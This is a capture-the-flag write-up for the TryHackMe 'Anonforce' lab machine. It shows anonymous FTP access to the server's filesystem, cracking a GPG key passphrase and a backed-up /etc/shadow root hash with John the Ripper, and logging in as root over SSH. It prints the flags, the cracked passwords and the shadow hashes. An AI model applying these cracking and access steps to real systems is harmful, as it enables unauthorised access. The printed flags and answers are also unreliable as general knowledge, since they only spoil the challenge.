TryHackMe-Anonforce
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Anonforce
boot2root machine for FIT and bsides guatemala CTF
#1 - user.txt
Let’s do a Nmap scan:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin | drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot | drwxr-xr-x 17 0 0 3700 Jun 21 01:05 dev | drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc | drwxr-xr-x 3 0 0 4096 Aug 11 2019 home | lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic | lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic | drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib | drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64 | drwx------ 2 0 0 16384 Aug 11 2019 lost+found | drwxr-xr-x 4 0 0 4096 Aug 11 2019 media | drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt | drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable] | drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt | dr-xr-xr-x 102 0 0 0 Jun 21 01:05 proc | drwx------ 3 0 0 4096 Aug 11 2019 root | drwxr-xr-x 18 0 0 540 Jun 21 01:05 run | drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin | drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv | dr-xr-xr-x 13 0 0 0 Jun 21 01:05 sys |_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all. | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.9.0.54 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA) | 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA) |_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
2 ports are open: 21 (FTP) and 22 (SSH). The FTP service allows full read access of the / on the server with anonymous access.
Something immediately seems interesting. There is a /noteread directory.
Let’s first get the user flag:
$ ftp 10.10.133.140 Connected to 10.10.133.140 (10.10.133.140). 220 (vsFTPd 3.0.3) Name (10.10.133.140:unknown): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd home 250 Directory successfully changed. ftp> ls -la 227 Entering Passive Mode (10,10,133,140,85,40). 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 Aug 11 2019 . drwxr-xr-x 23 0 0 4096 Aug 11 2019 .. drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 melodias 226 Directory send OK. ftp> cd melodias 250 Directory successfully changed. ftp> ls -la 227 Entering Passive Mode (10,10,133,140,225,0). 150 Here comes the directory listing. drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 . drwxr-xr-x 3 0 0 4096 Aug 11 2019 .. -rw------- 1 0 0 117 Aug 11 2019 .bash_history -rw-r--r-- 1 1000 1000 220 Aug 11 2019 .bash_logout -rw-r--r-- 1 1000 1000 3771 Aug 11 2019 .bashrc drwx------ 2 1000 1000 4096 Aug 11 2019 .cache drwxrwxr-x 2 1000 1000 4096 Aug 11 2019 .nano -rw-r--r-- 1 1000 1000 655 Aug 11 2019 .profile -rw-r--r-- 1 1000 1000 0 Aug 11 2019 .sudo_as_admin_successful -rw-r--r-- 1 0 0 183 Aug 11 2019 .wget-hsts -rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt 226 Directory send OK. ftp> get user.txt
Here is the content of the flag:
$ cat user.txt 606083fd33beb1284fc51f411a706af8
#2 - root.txt
The /notread directory contains 2 files:
backup.pgpprivate.asc
Trying to import private.asc requires a password.
$ gpg --import private.asc gpg: /home/unknown/.gnupg/trustdb.gpg: trustdb created gpg: key B92CD1F280AD82C2: public key "anonforce <[email protected]>" imported gpg: key B92CD1F280AD82C2/B92CD1F280AD82C2: error sending to agent: Operation cancelled gpg: error reading 'private.asc': Operation cancelled gpg: import from 'private.asc' failed: Operation cancelled gpg: Total number processed: 0 gpg: imported: 1 gpg: secret keys read: 1
Let’s crack the private.asc key:
$ /data/src/john/run/gpg2john private.asc > pgp.hash File private.asc unknown@localhost:/data/documents/challenges/TryHackMe/__Anonforce/files$ /data/src/john/run/john pgp.hash --wordlist=/data/src/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 65536 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status xbox360 (anonforce) 1g 0:00:02:25 20.78% (ETA: 10:46:24) 0.006870g/s 21931p/s 21931c/s 21931C/s tinoco09..tinocat Session aborted
Now that we have the password (xbox360), let’s import the key and decrypt the message:
$ gpg --import private.asc gpg: key B92CD1F280AD82C2: "anonforce <[email protected]>" not changed gpg: key B92CD1F280AD82C2: secret key imported gpg: key B92CD1F280AD82C2: "anonforce <[email protected]>" not changed gpg: Total number processed: 2 gpg: unchanged: 2 gpg: secret keys read: 1 gpg: secret keys imported: 1 $ gpg --decrypt backup.pgp gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12 "anonforce <[email protected]>" root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7::: daemon:*:17953:0:99999:7::: bin:*:17953:0:99999:7::: sys:*:17953:0:99999:7::: sync:*:17953:0:99999:7::: games:*:17953:0:99999:7::: man:*:17953:0:99999:7::: lp:*:17953:0:99999:7::: mail:*:17953:0:99999:7::: news:*:17953:0:99999:7::: uucp:*:17953:0:99999:7::: proxy:*:17953:0:99999:7::: www-data:*:17953:0:99999:7::: backup:*:17953:0:99999:7::: list:*:17953:0:99999:7::: irc:*:17953:0:99999:7::: gnats:*:17953:0:99999:7::: nobody:*:17953:0:99999:7::: systemd-timesync:*:17953:0:99999:7::: systemd-network:*:17953:0:99999:7::: systemd-resolve:*:17953:0:99999:7::: systemd-bus-proxy:*:17953:0:99999:7::: syslog:*:17953:0:99999:7::: _apt:*:17953:0:99999:7::: messagebus:*:18120:0:99999:7::: uuidd:*:18120:0:99999:7::: melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7::: sshd:*:18120:0:99999:7::: ftp:*:18120:0:99999:7:::
This backup file seems to be a copy of /etc/shadow. Let’s crack the passwords.
$ /data/src/john/run/john backup --wordlist=/data/src/wordlists/rockyou.txt Warning: only loading hashes of type "sha512crypt", but also saw type "md5crypt" Use the "--format=md5crypt" option to force loading hashes of that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hikari (root) 1g 0:00:00:01 DONE (2020-06-21 10:42) 0.7462g/s 5349p/s 5349c/s 5349C/s honeybear..droopy Use the "--show" option to display all of the cracked passwords reliably Session completed.
We have successfully retrieved the root password: hikari. Let’s connect with SSH and get the flag:
$ ssh [email protected] [email protected]'s password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@ubuntu:~# cat root.txt f706456440c7af4187810c31c6cebdce